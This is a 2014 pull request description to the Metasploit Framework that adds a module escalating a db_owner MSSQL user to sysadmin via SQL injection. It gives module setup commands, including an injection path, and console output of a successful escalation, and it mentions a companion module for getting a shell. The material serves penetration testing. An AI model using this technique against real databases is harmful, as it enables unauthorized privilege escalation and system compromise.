rapid7/metasploit-framework — pull request #4040 by nullbind (2014-10-17 15:29:21+00:00)
Title: Added module mssql_escalate_dbowner_sqli

Added mssql_escalate_dbowner_sqli module. This module can be used to escalate privileges to sysadmin via SQL injection if the user has the db_owner role in a trustworthy database owned by a sysadmin user. Once the user has the sysadmin role the mssql_payload_sqli module can be used to obtain a shell on the system.

Lab Setup and Test Guide
https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_escalate_dbowner_sqli_lab_guide.txt

Example Output:

use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set GET_PATH /testing.asp?id=1+and+1=[SQLi];--
set rhost 127.0.0.1

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is NOT a sysadmin, let's try to escalate privileges.
[*] Checking for trusted databases owned by sysadmins...
[+] 1 affected database(s) were found:
[*] - LVADB
[*] Checking if MyAppUser has the db_owner role in any of them...
[+] MyAppUser has the db_owner role on LVADB.
[*] Attempting to add MyAppUser to sysadmin role...
[+] Success! MyAppUser is now a sysadmin!
[*] Auxiliary module execution completed

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is already a sysadmin, no esclation needed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_escalate_dbowner_sqli) >